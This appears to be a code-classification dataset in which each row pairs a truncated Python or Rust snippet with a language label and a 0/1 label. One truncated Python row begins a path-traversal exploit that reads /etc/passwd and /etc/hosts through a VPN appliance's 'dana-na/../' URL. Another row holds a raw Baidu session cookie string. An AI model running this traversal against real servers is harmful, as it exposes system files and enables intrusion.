text
string
label_name
string
labels
int64
import cv2 as cv import os import numpy as np people = [] for i in os.listdir(r'C:\Users\bruno\openCVpython\opencv-course\Resources\Faces\train'): people.append(i) DIR = r'C:\Users\bruno\openCVpython\opencv-course\Resources\Faces\train' haar_cascade = cv.CascadeClassifier('haar_face.xml') features = [] labels =...
Python
1
::InvalidMessageLength { expected: buf.len() - buf.remaining(), actual: buf.len() }) } else { Ok(()) } } <filename>src/vat_types.rs use std::fmt; #[derive(Debug, Eq, PartialEq, Hash, Copy, Clone)] pub struct VatPromiseID(pub u32); #[derive(Debug, Eq, PartialEq, Hash, Copy, Clone)] pub struct VatResolverID(pub ...
Rust
0
ader::new(&file); for lineresult in file.lines() { let line = lineresult.unwrap(); if let (_, 1) = scan_fmt_count!(&line, "# {}", String) { //comment do nothing } else if let (_, 1) = scan_fmt_count!(&line, "mtllib {}", String) { // do nothing } else if let (_, 1) = scan_fmt_count!(&line...
Rust
0
. /// /// # Example /// ```rust /// # extern crate nobs_vk as vk; /// # extern crate nobs_vkmem as vkmem; /// # use vkmem::Handle; /// # fn main() { /// # let lib = vk::VkLib::new(); /// # let inst = vk::instance::new() /// # .validate(vk::DEBUG_REPORT_ERROR_BIT_EXT | vk::DEBUG_REPORT_WARNING_B...
Rust
0
""" ICA = (Σᵢ₌₁ⁿ Pᵢ×Wᵢ) _____________ (Σᵢ₌₁ⁿ Pᵢ) """ def calcular_subindice_temperatura(T): # Subíndice de Temperatura (ICA_T) if T > 25: subindice_T = 0.1 elif 20 <= T <= 25: subindice_T = 1.0 else: subindice_T = 0.5 return subindice_T def calcular_subindice_ph(...
Python
1
TEST_INPUT = """\ vJrwpWtwJgWrhcsFMMfFFhFp jqHRNqRjqzjGDLGLrsFMfFZSrLrFZsSL PmmdzqPrVvPwwTWBwg wMqvLMZHhHMvwLHjbvcjnnSBnvTQFn ttgJtRGJQctTZtZT CrZsJsPPZsGzwwsLwLmpwMDw""" def get_priority(char): if ord(char) >= ord("a"): return 1 + ord(char) - ord("a") else: return 27 + ord(char) - ord("A") ...
Python
1
xe6L\xd8\xa9\ o=\xf1\xc0\x13\x07\x139O\x108\x04\x98\xda\xafr\ K\xd8ze\x1f\xf4\x84\xc7/2&c\xac\xfd\x96\x99\ \xc8\xd2\xf6.\x89\xa3\xc1\xdcf\x99\xcc/#-\xe00\ i/j/n/\xae*G\xdf\xcdf\x7f\xefe<\ \xafn~a-\x11\xdcG\x02\xff\xe1\xfafUe\xdc\ \x12\x1di\xdc\xcd\xf8{\xb2G3\xf7\xc3\xb5\xb9\x15D\ \x099\xf4\xc9Y7\x90\xef\xf2\xf5\x1a\xfd...
Python
1
# -*- coding: utf-8 -*- # @Time : 2023/2/24 12:50 import copy import json template = [ { "id": "identity_0", "conversations": [ { "from": "user", "value": "你好" }, { "from": "assistant", "value": "...
Python
1
import time from Source.Parsing.Parser import parseSite PARSE_LIST_FILE = "Files/ParseList.txt" PRICE_RESULTS_FILE = "Files/PriceResults.txt" REPARSE_LIST_FILE = "Files/ReparseList.txt" FINISHED_LIST_FILE = "Files/FinishedParsingList.txt" DELAY = 15 parseListFile = open(PARSE_LIST_FILE, "r") parseList = parseListFil...
Python
1
"] #[inline(always)] pub fn variant(&self) -> DSP_PRAM2_POWER_A { match self.bits { false => DSP_PRAM2_POWER_A::DSP_PRAM2_POWER_DISABLE, true => DSP_PRAM2_POWER_A::DSP_PRAM2_POWER_ENABLE, } } #[doc = "Checks if the value of the field is `DSP_PRAM2_POWER_DISABLE`"]...
Rust
0
# Section 5.8 Self Check snippets # Exercise 3 foods = ['Cookies', 'pizza', 'Grapes', 'apples', 'steak', 'Bacon'] foods.sort() foods ########################################################################## # (C) Copyright 2019 by Deitel & Associates, Inc. and # # Pearson Education, Inc. All...
Python
1
import requests from json import loads as json_loads from dotenv import dotenv_values # Load environment variables config = dotenv_values("backend/.env") # chatgpt prediction def chatgpt_prediction(home_team_name, away_team_name, home_id, away_id): try: # Set up request body body = { ...
Python
1
und with that ID.")), Err(e) => bail(format!("Failed to delete secret! {}", e.message)) } }, _ => bail(matches.usage().to_string()) } } fn bail(message: String) { writeln!(stderr(), "{}", message).unwrap(); exit(1) } <filename>src/diff/group.rs use crat...
Rust
0
spath(path.join(os.getcwd(), inputFile)) inputRoot = path.dirname(inputPath) if outputDir is not None: fPrefix = path.abspath(path.join(inputRoot, outputDir)) if not path.isdir(fPrefix): info('Creating directory at {}'.format(fPrefix)) os.mkdir(fPrefix) else: ...
Python
1
x00002000: C_LR.value = 2 C_X.value = ds[3] C_Y.value = ds[4] C_D_X_1.value = ds[5] C_D_Y_1.value = ds[6] C_D_X_2.value = ds[7] C_D_Y_2.value = ds[8] except BlockingIOE...
Python
1
# -*- coding: utf-8 -*- # Copyright (c) 2017 Ericsson AB # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
Python
1
class Student: def __init__(self, name, korean, math, english, science): self.name = name # a_studnet.name = name ("A"), b_studnet.name = name ("B") self.korean = korean self.math = math self.english = english self.science = science # (*this) == self # C ...
Python
1
# Generated by Django 5.2.4 on 2025-07-20 15:37 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [] operations = [ migrations.CreateModel( name="Periodic_Task", fields=[ ("id", models.BigAutoFi...
Python
1
FG=1; H_PS_PSSID=26350; BDORZ=FFFB88E999055A3F8A630C64834BD6D0; BDRCVFR[D2FIJh4TnDm]=mk3SLVN4HKm; ZD_ENTRY=baidu; BCLID=8620944682005354376; BDSFRCVID=PyuOJexroG06rjvDcCWjJ6WvgeKKvV3TDYLEOwXPsp3LGJLVcKvVEG0Pt8lgCZu-2ZlgogKK3gOTHxtF_2uxOjjg8UtVJeC6EG0Ptf8g0M5; H_BDCLCKID_SF=tbkD_C-MfIvDqTrP-trf5DCShUFsWbbiB2Q-XPoO3Kt-MR...
Python
1
for i in (0..len).rev() { let child = Rc::clone(&root.borrow().children[i]); { let child = child.borrow(); if !child.state.is_enabled() || !child.state.visible { continue; } if !chi...
Rust
0
existence!($globals, $f, qqqq[FOUR_QUARTERS_B1], $bc, $ec, $lbl_bad_tfm); } // if c<128 then check_existence(d) {check ligature} if qqqq[FOUR_QUARTERS_B2] < 128 { /// check ligature const _: () = (); check_existe...
Rust
0
port: Some(port), mode: FfiCallMode::Normal, }, move || { let api_input_index = input_index.wire2api(); let api_output_index = output_index.wire2api(); move |task_callback| audio_graph_connect(api_input_index, api_output_index) }, ...
Rust
0
import json import os from conduit.settings.defaults import * DEBUG = os.environ.get('DJANGO_DEBUG', 'False') == 'True' STATIC_ROOT = '/data/static/' # Database # https://docs.djangoproject.com/en/1.10/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql', ...
Python
1
# bubblesub - ASS subtitle editor # Copyright (C) 2018 Marcin Kurczewski # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later versio...
Python
1
TON as &crate::Emoji), ("ideograph_advantage" , &crate::flat::JAPANESE_BARGAIN_BUTTON as &crate::Emoji), ("imp" , &crate::flat::ANGRY_FACE_WITH_HORNS as &crate::Emoji), ("inbox_tray" , &crate::flat::INBOX_TRAY as &crate::Emoji), ("incoming_envelope" , &crate::flat::INCOMING_ENVELOPE as &crate::Emoji), ("index_pointing_...
Rust
0
let y = witnesses .iter() .map(|w| w.0.multi_evaluate_modulo(&query_points, &self.dark.p, w.0.degree())) .collect::<Vec<_>>(); ((y[0].clone(), y[1].clone(), y[2].clone(), y[3].clone()), witnesses) }); // t(z, y) let t_zy = y_t[0].c...
Rust
0
// Collect the arbitrary values to build the final type. .prop_map(|(network, before_upgrade_height, after_upgrade_height)| { BlockHeightPairAcrossNetworkUpgrades { network, before_upgrade: block::Height(before_upgrade_height), afte...
Rust
0
, data: &[u8]) -> std::io::Result<()> { let path = self.location.join(filename); match path.parent() { Some(ref parent) => fs::create_dir_all(parent), None => Ok(()), }?; deno_fs::write_file(&path, data, 0o666) } pub fn remove(self: &Self, filename: &Path) -> std::io::Result<()> { l...
Rust
0
>>; //fn create_hash_eq(bools: &[(u32, bool)], integers: &[(u32, i64)], strings: &[(u32, StrSym)]) -> Self::Item; } pub trait FactFn<T: ?Sized> { fn get_field(&self, idx: u32) -> &T; fn set_field(&mut self, idx: u32, to: &T); } pub trait FactDef { fn type_id(&self) -> TypeId; fn name(&self) -> &str; fn mo...
Rust
0
fg(not(feature = "phf"))] match id { $($id => Some(Self::$l),)+ _ => None, } } } }; } spdx_license! { Bsd0 = "BSD 0", "BSD Zero Clause License", false, true; Aal = "AAL", "Attribution Assurance License", false, true...
Rust
0
), -1) cv2.putText(img, f"GT Pos: X: {round(gt[-1][0], 3)}, Y: {round(gt[-1][2], 3)}", (10, 60), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (0, 0, 255), 1, cv2.LINE_AA) diff = np.linalg.norm(np.array(gt) - np.array(est), axis=1) cv2.putText(img, f"Avg error:...
Python
1
"libavutil/cpu.h", "libavutil/crc.h", "libavutil/dict.h", "libavutil/display.h", "libavutil/downmix_info.h", "libavutil/error.h", "libavutil/eval.h", "libavutil/fifo.h", "libavutil/file.h", "libavutil/frame.h", "libavutil/hash.h", ...
Rust
0
/questions/27582739/how-do-i-create-a-hashmap-literal /// Makes a static [`BTreeMap`] from the input of `GOAT_VARIABLE_DATA`. macro_rules! collection { // map-like ($($k:expr => $v:expr),* $(,)?) => {{ use std::iter::{Iterator, IntoIterator}; Iterator::collect(IntoIterator::into_iter([$(($k, $v...
Rust
0
import unittest from pyats.topology import loader from genie.libs.sdk.apis.iosxe.interface.get import get_interface_address_mask_running_config class TestGetInterfaceAddressMaskRunningConfig(unittest.TestCase): @classmethod def setUpClass(self): testbed = """ devices: R1_xe: ...
Python
1
import os def test_eval_llm(): os.environ['CUDA_VISIBLE_DEVICES'] = '0' from swift.llm import eval_main, EvalArguments eval_main(EvalArguments(model_type='qwen1half-7b-chat', eval_dataset='ARC_c', infer_backend='lmdeploy')) def test_eval_vlm(): os.environ['CUDA_VISIBLE_DEVICES'] = '1' from swift...
Python
1
, pub is_local: bool, pub init_data: Option<String>, } #[derive(Debug, Clone, PartialEq)] pub struct FunctionCall<'a> { pub name: String, pub args: Vec<Node<'a>>, } #[derive(Debug, Clone, PartialEq)] pub struct Block<'a> { pub nodes: Vec<Node<'a>>, } #[derive(Debug, Clone, PartialEq)] pub struct ...
Rust
0
import copy import torchvision.models as models from ptsemseg.models.fcn import fcn8s, fcn16s, fcn32s from ptsemseg.models.segnet import segnet from ptsemseg.models.unet import unet from ptsemseg.models.pspnet import pspnet from ptsemseg.models.icnet import icnet from ptsemseg.models.linknet import linknet from ptsems...
Python
1
set_trainer_name_10, 10, "ABCDE", 0x39A55, vec![0x80, 0x81, 0x82, 0x83, 0x84] ); set_trainer_name_test!( set_trainer_name_11, 11, "ABCDEFG", 0x39A5B, vec![0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86] ); set_trainer_name_test!( set_trainer_name_12, 12, "ABCDEFGH", 0x3...
Rust
0
angle_rad = -np.deg2rad(right_angle_deg) else: # 如果沒有偵測到右牆,則不進行旋轉,角度為0 self.wall_alignment_angle_rad = 0.0 def run(self): try: while not rospy.is_shutdown(): depth_intrin, img_color, aligned_depth_frame = self.camera.get_aligned_images() ...
Python
1
rorKind, Error::Crossterm); derive_from!(FromUtf8Error, Error::Utf8); derive_from!(String, Error::StringError); derive_from!(io::Error, Error::Io); pub type Result<T> = std::result::Result<T, Error>; <filename>common/datavalues/tests/it/columns/array.rs<gh_stars>1000+ // Copyright 2022 <NAME>. // // Licensed under the...
Rust
0
RAME {} #[doc = "`write(|w| ..)` method takes [sigframe::W](sigframe::W) writer structure"] impl crate::Writable for SIGFRAME {} #[doc = "Signal Frame Register"] pub mod sigframe; #[doc = "Receive Buffer Data Extended Register\n\nThis register you can [`read`](crate::generic::Reg::read). See [API](https://docs.rs/svd2r...
Rust
0
), ')' => (Token::RParen, 1), '*' => (Token::Star, 1), '+' => (Token::Plus, 1), '-' => (Token::Minus, 1), '/' => (Token::Slash, 1), '^' => (Token::Caret, 1), _ => return Err(Error::msg(format!("Invalid character: '{}'", c))), })...
Rust
0
ned_sstables: BTreeMap<u64, SystemTime>, } pub struct MemoryMetaStore { node: u64, sstable_pin_ttl: Duration, core: RwLock<MemoryMetaStoreCore>, timestamp: AtomicU32, } impl std::fmt::Debug for MemoryMetaStore { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { f.debug_...
Rust
0
using detection bounding boxes, scores, class labels, and optional ReID features.""" if len(dets) == 0: return [] if self.args.with_reid and self.encoder is not None: features_keep = self.encoder.inference(img, dets) return [ BOTrack(xyxy, s, c, f) ...
Python
1
header and coefs bitstream.write_lte25(0, 12); bitstream.write_lte25(((partial_frame as u32) << 3) | ((bytes_shifted as u32) << 1), 4); if partial_frame > 0 { bitstream.write(num_samples as u32, 32); } bitstream.write_lte25(mix_bits as u32, 8)...
Rust
0
from .celery import app as app_celery __all__ = ("app_celery",)
Python
1
)?; SETTINGS.set(settings.clone()).unwrap(); Ok(settings) } } pub static SETTINGS: OnceCell<Settings> = OnceCell::new(); <gh_stars>1-10 use std::fs::File; use std::io::prelude::*; use std::io::{self, BufReader}; //use std::str::FromStr; pub fn part_1() -> io::Result<isize> { let mut input = Bu...
Rust
0
# ===================================== # * Función incorporada range() # ===================================== # La función range() genera una secuencia de números enteros. # Es muy usada en bucles `for` y para crear listas de números. # # Forma general: # range(inicio, fin, paso) # # Parámetros: # - inicio (opcional)...
Python
1
#Модуль для обработки платежей from abc import ABC, abstractmethod #abc - родитель (шаблон) для классов. abstractmethod - позволяет изменять поведение функций с помощью изменения функциональности без изменения кода. #абстрактный класс. принимаем сумму платежа и возвращаем строку, как был обработан платеж #Поведенческий...
Python
1
import copy import numpy as np import open3d as o3d from typing import List, Tuple, Dict, Optional, Union import logging import json from datetime import datetime import matplotlib.pyplot as plt from scipy.spatial.distance import cdist from scipy.stats import entropy from sklearn.neighbors import NearestNeighbors """ 质...
Python
1
merged_label = [item for sublist in label for item in sublist] # 添加的两个新loss merged_Phoneme_label = [item for sublist in Phoneme_label for item in sublist] merged_Text_label = [item for sublist in Text_label for item in sublist] # 对每个特征进行填充 padded_fbank_feature = pad_sequence(merged_fbank_f...
Python
1
from unittest import mock import pytest from contacts import Application def test_application(): app = Application() assert app._contacts == [] assert hasattr(app, "run") def test_clear(): app = Application() app._contacts == [("NAME", "NUM")] app._clear() assert app._contacts == [] ...
Python
1
eate_draft_invoice(payload, HeaderParams::default()).await { Ok(r) => { println!("{:#?}", r); } Err(ResponseError::HttpError(e)) => { println!("{}", e); } Err(e) => { println!("{:#?}", e); } } // some stuff is not sent when rep...
Rust
0
arp::body::json()) .and(with_clients(clients.clone())) .and_then(handler::publish_handler); let ws_route = warp::path("ws") .and(warp::ws()) .and(warp::path::param()) .and(with_clients(clients.clone())) .and_then(handler::ws_handler); let routes = health_route ...
Rust
0
: Some(RawNarrowPhase(d.narrow_phase)), bodies: Some(RawRigidBodySet(d.bodies)), colliders: Some(RawColliderSet(d.colliders)), joints: Some(RawJointSet(d.joints)), }) } } <gh_stars>100-1000 use anyhow::{anyhow, Result}; use scylla::transport::session::Session; use scylla:...
Rust
0
, "imm0_31" => MsaTy::imm0_31, "imm0_63" => MsaTy::imm0_63, "imm0_255" => MsaTy::imm0_255, "imm_n16_15" => MsaTy::imm_n16_15, "imm_n512_511" => MsaTy::imm_n512_511, "imm_n1024_1022" => MsaTy::imm_n1024_1022, "imm_n2048_2044" => MsaTy::i...
Rust
0
fn into(self) -> MemoryKind<MiriMemoryKind> { MemoryKind::Machine(self) } } impl MayLeak for MiriMemoryKind { #[inline(always)] fn may_leak(self) -> bool { use self::MiriMemoryKind::*; match self { Rust | C => false, Env | Static => true, } } } ...
Rust
0
gs(reader.next_byte()?); let mtime_bytes = [ reader.next_byte()?, reader.next_byte()?, reader.next_byte()?, reader.next_byte()?, ]; let mtime = u32::from_le_bytes(mtime_bytes); let extra_flag = reader.next_byte()?; let os = reader.next_byte()?; if flags.has_extr...
Rust
0
r(variant): # for g in range(n_GMM): new_GMM.append((new_w[g], new_mu[g], C_n)) # # # _, new_marg = log_pdf_GMM(X, new_GMM, n_GMM) # new_like = new_marg.mean() # # if messages: print('iter(' + str(niter) + ') - new: ' + str(new_like) + ' - old: ' + str(old_like) + ' = ' + str...
Python
1
lity"] = request.personality if request.background is not None: update_data["background"] = request.background if request.mood is not None: update_data["mood"] = request.mood if request.relations is not None: update_data["relations"] = request.relations if request.schedule is not...
Python
1
{ Channels: Vec<ChanInfo> } } rpc_call! { call_fund, FundChannel, { Peer: u32, CoinType: u32, Capacity: i64, Roundup: i64, InitialSend: i64, Data: [u8; 32] } => StatusReply } rpc_call! { call_dual_fund, DualFundChannel, { Peer: i32, ...
Rust
0
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at https://mozilla.org/MPL/2.0/. # SPDX-License-Identifier: MPL-2.0 import numpy as np from scipy.sparse.linalg import svds from scipy.sparse.linalg impo...
Python
1
ds = text_embeds.cpu().detach().numpy() if save_part is not None: vid_fn = f'vid_embeds_{split}_{save_part}.npy' txt_fn = f'txt_embeds_{split}_{save_part}.npy' csv_fn = f'ids_{split}_{save_part}.csv' else: vid_fn = f'vid_embeds_{split}.npy' txt_fn = f'txt_embeds_{split}....
Python
1
ys()) for name, value in vars(self).items(): property_name = name[1:] if property_name in memeber_set: memeber_set.remove(property_name) if len(memeber_set) > 0: warnings.warn("%s fileds are useless." % ",".join(memeber_set)) class ModifyTas...
Python
1
; use clap::crate_version; use clap::Clap; use crate::utils::exec_cmd; use super::Cmd; #[cfg(feature = "http")] const GIT_IO_BASE_URL: &str = "https://git.io/"; /// Report bugs/issues at https://github.com/deild/macos-config-check/issues #[derive(Clap, Debug)] pub struct BugReport {} impl Cmd for BugReport { fn ...
Rust
0
or_path, "tasks": "image-classification", "dataset": data_args.dataset_name, "tags": ["image-classification", "tensorflow", "vision"], } callbacks = [] if eval_dataset is not None: callbacks.append(KerasMetricCallback(metric_fn=compute_metrics, ev...
Python
1
/// /// **Warning**: This is a low-level method and should not be called directly from user code. fn raw_read(&mut self) -> nb::Result<u8, void::Void>; /// Enable/Disable a certain interrupt. /// /// **Warning**: This is a low-level method and should not be called directly from user code. ...
Rust
0
DateFormat::MDY => (CronColumn::Month, CronColumn::Day), }; format!( "{}/{}/{} {}:{}", format_val(self.get(c1), 2), format_val(self.get(c2), 2), format_val(self.get(CronColumn::Year), 4), format_val(self.get(CronColumn::Hour), 2), ...
Rust
0
import maturin_gettext_viewer file = maturin_gettext_viewer.po_file_read("sample/magit-section.ja.po") iterator = maturin_gettext_viewer.po_message_iterator(file) message = maturin_gettext_viewer.po_next_message(iterator) print("msgid:") print(maturin_gettext_viewer.po_message_msgid(message)) print("msgstr:") print(...
Python
1
downcast_ref::<SparseConsole>() { if st.is_dirty { for t in st.tiles.iter() { let x = t.idx as u32 % st.width; let y = t.idx as u32 / st.width; queue!(stdout(), cursor::MoveTo(x as u16, st.height as u16 - (y as u...
Rust
0
d_property def plugin_class(self): return self.get_plugin_class() @property def glossary(self): if not self._glossary: self._glossary = self.plugin_class.get_glossary(self) return self._glossary @property def errors(self): glossary = self.plugin_class.ge...
Python
1
('UPDATE', '/v1/.expiring_objects/' + ts.split('.')[0], '', { 'X-Backend-Allow-Private-Methods': 'True', 'X-Backend-Storage-Policy-Index': '0', 'X-Timestamp': ts}, mock.ANY), ('GET', '/v1/account/container', 'format=js...
Python
1
+ inner enum variant type (4 bytes) // + inner enum value (4 bytes). 0x01, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, ]; #[rustfmt::skip] let v2_hardcoded_snapshot: &[u8] = &[ 0x01, 0x00, #[cfg(target_arch = "aarch64")] 0xAA, #[cfg(target_arch =...
Rust
0
ncement techniques enhanced = self._apply_image_enhancement(image) # Save enhanced image cv2.imwrite(output_path, enhanced) processing_time = time.time() - start_time return { 'success': True, ...
Python
1
T_PLAIN_UTF_8, "") } } } #[derive(Clone)] pub(crate) struct OpenapiSpecHandler { openapi: Arc<RwLock<OpenAPI>> } // safety: the handler only ever aquires a read lock, so this usage of // RwLock is, in fact, unwind safe impl RefUnwindSafe for OpenapiSpecHandler {} impl OpenapiSpecHandler { pub(crate) fn new(open...
Rust
0
# Author: Harshdeep Gupta # Date: 21 September, 2018 # Description: A file for providing utility functions from time import time import pandas as pd import numpy as np import matplotlib.pyplot as plt # import seaborn as sns import torch # workspace imports from evaluate import evaluate_model from Dataset import MovieL...
Python
1
# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license # Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. # # Permission to use, copy, modify, and distribute this software and its # documentation for any purpose with or without fee is hereby granted, # provided that the above copyright notice and ...
Python
1
import requests import requests.packages.urllib3 requests.packages.urllib3.disable_warnings() import os import sys banner = ''' ''' print banner def etc_passwd(url): file_read = ['/etc/passwd', '/etc/hosts'] if url[-1] == '/': vuln_url_1 = url + 'dana-na/../dana/html5acc/guacamole/../../../../../...
Python
1
o the field"] #[inline(always)] pub unsafe fn bits(self, value: u16) -> &'a mut W { self.w.bits = (self.w.bits & !(0x01ff << 20)) | ((value as u32 & 0x01ff) << 20); self.w } } impl R { #[doc = "Bits 0:2 - USB Bias Current trim setting"] #[inline(always)] pub fn pwr_trim_usb_bias(...
Rust
0
fn singelton_1000_lazy_access(b: &mut Bencher) { b.iter(|| test_1000(Singleton::Foo, |p: &IntPropLazy| p.int)); } // A quad variant enum #[derive(Copy, Clone)] #[allow(dead_code)] pub enum Quad { A, B, C, D, } props! { impl EnumProp for Quad as const IntPropConst { Quad::A => { int: 3 } Quad::B => {...
Rust
0
matches. """ for bucket_listing_ref in self.__iter__( bucket_listing_fields=bucket_listing_fields): yield bucket_listing_ref def IterBuckets(self, unused_bucket_fields=None): """Placeholder to allow polymorphic use of WildcardIterator. Args: unused_bucket_fields: Ignored; filesy...
Python
1
pub title: String, pub lang: String, pub content: String, pub expiration: SecTime, } #[derive(Serialize)] pub struct SaveRecordRes<'a> { pub key: &'a str, } #[derive(Serialize)] pub struct FindRecordRes<'a> { pub title: &'a str, pub lang: &'a str, pub content: &'a str, pub saving_...
Rust
0
torch.library.register_autocast( "libtorch_tp_jit::jit_tp_backward", "cuda", torch.float32 ) torch.library.register_autocast( "libtorch_tp_jit::jit_tp_double_backward", "cuda", torch.float32 ) @staticmethod def name(): return "LoopUnrollTP" ...
Python
1
print(f"✅ Directorio alternativo encontrado: {item}") return item return None def create_test_generator(): """Crear generador para datos de prueba""" print("📊 Configurando generador de datos de prueba...") # Buscar directorio de datos de prueba tes...
Python
1
ias: "<NAME>".into(), members: vec![0, 3, 4, 5], kind: SqChannelKind::Group, }; let create_channel = SqCommandMessage::NewChannel(channel_kind); let payload = SqPayload::Command(create_channel); let wrapped = SqProtocol { id: Uuid::new_v4(), channel_id: Uuid::new_v4(), ...
Rust
0
::DecodeError> for Error { // #[inline] // fn from(e: prost::DecodeError) -> Error { // Error::Decode(Box::new(e)) // } // } pub type Result<T> = result::Result<T, Error>; pub const DISCOUNT_RATE: f64 = 0.75; pub const LEARNING_RATE: f64 = 1.5; use serde::{Deserialize, Serialize}; #[derive(Debug,...
Rust
0
son.clone(); proof.proof = Some(proof_msg); let _rc = proof.proof_validation().unwrap(); assert_eq!(proof.proof_state, ProofStateType::ProofValidated); } let mut proof_obj: serde_json::Value = serde_json::from_str(&proof_json).unwrap(); // change Raw value ...
Rust
0
wrap()) } } Err(err) => bail!("{} error", err), } } } pub fn run(cmd: &str) -> Result<ExitStatus, Error> { let path = nix_shell_config_path()?; let args = vec!["--run", cmd, &path]; Shell::new() .cmd("nix-shell") .args(args) .erro...
Rust
0
mmand>; } }; } // rustfmt-version: Two fn plain_if(x: bool) -> u8 { if x { 0 } else { 1 } } fn paren_if(x: bool) -> u8 { (if x { 0 } else { 1 }) } fn let_if(x: bool) -> u8 { let x = if x { foo() } else { bar() }; x } fn return_if(x: bool) -> u8 { return if x { 0 } else { 1 }; } fn m...
Rust
0
# LinkedIn Learning Course # Example file for Python: Working with Excel and Spreadsheet Data by Joe Marini # Exploring DataFrame data and structure import pandas as pd import locale df = pd.read_excel("FinancialSample.xlsx") # Set the display options for Pandas pd.set_option("display.max.columns", None) pd.set_opt...
Python
1
2_x2.into_iter().map(Party::Remote).collect()) .agg_public_key(), expected_x1_x1_x2_x2 ); } } <filename>cradle/android/src/audio_backend/aaudio/loader.rs //! libaaudio.so dynamic loader use super::native; use libloading::Library; unsafe trait FunPtr { unsafe fn from_void_ptr(p...
Rust
0
ta_f = new[k]["freq"] - old[old_idx[i + split]]["freq"] if abs(delta_f) < max_delta_f: logger.debug("can compare") diff[i] = { desc: fnc(new[k][desc] - old[old_idx[i + split]][desc]) for desc, fnc in fields } ...
Python
1
fmt::Result { f.write_str(self.as_ref()) } } impl FromStr for XAttr { type Err = Error; fn from_str(s: &str) -> Result<Self, Error> { ensure!(!s.is_empty(), ErrorKind::Parse, "xattrs cannot be empty"); // TODO(tarcieri): validate xattrs are well-structured Ok(XAttr(s.to_o...
Rust
0
match(&"*.org".parse().unwrap(), &"*.example.org".parse().unwrap()), Some(super::MatchReason::WildcardInBlockedWildcard), ); assert_eq!( super::addr_match( &"*.test.example.com".parse().unwrap(), &"*.example.org".parse().unwrap() ), ...
Rust
0
64, Register::R10B => self.r10 = ((self.r10 as u64 & 0xFFFFFFFFFFFFFF00) | (value as u8 as u64)) as i64, Register::R11B => self.r11 = ((self.r11 as u64 & 0xFFFFFFFFFFFFFF00) | (value as u8 as u64)) as i64, Register::R12B => self.r12 = ((self.r12 as u64 & 0xFFFFFFFFFFFFFF00) | (value ...
Rust
0
# Icon mappings using Unicode ICONS = { "play": "▶", "pause": "⏸", "stop": "⏹", "next": "⏭", "previous": "⏮", "plus": "+", "minus": "-", "close": "✕", "check": "✓", "star": "★", "heart": "♥", "settings": "⚙", ...
Python
1
, player, &ai_config(opt.debug, mm), )?)) } else if spec == "random" { Ok(Box::new(minimax::Random::new())) } else { Err(io::Error::new( io::ErrorKind::Other, format!("bad player spec: {}", spec), )) } } fn build_selfplay_playe...
Rust
0
lso work with borrowed values. This works by using //! lifetimes and the borrow checker to ensure that any objects inserted into an //! intrusive collection will outlive the collection itself. //! //! ``` //! use intrusive_collections::intrusive_adapter; //! use intrusive_collections::{LinkedListLink, LinkedList}; //! ...
Rust
0
"""Constants for the DLNA MediaServer integration.""" from __future__ import annotations from collections.abc import Mapping import logging from typing import Final from homeassistant.components.media_player import MediaClass LOGGER = logging.getLogger(__package__) DOMAIN: Final = "dlna_dms" DEFAULT_NAME: Final = "...
Python
1
} } let mut object_id = [0u8; 20]; match r.read(&mut object_id) { Ok(20) => (), _ => { return Ok(false); } } if object_id.iter().all(|c| c == &0) { return Ok(false); } previous_line = th...
Rust
0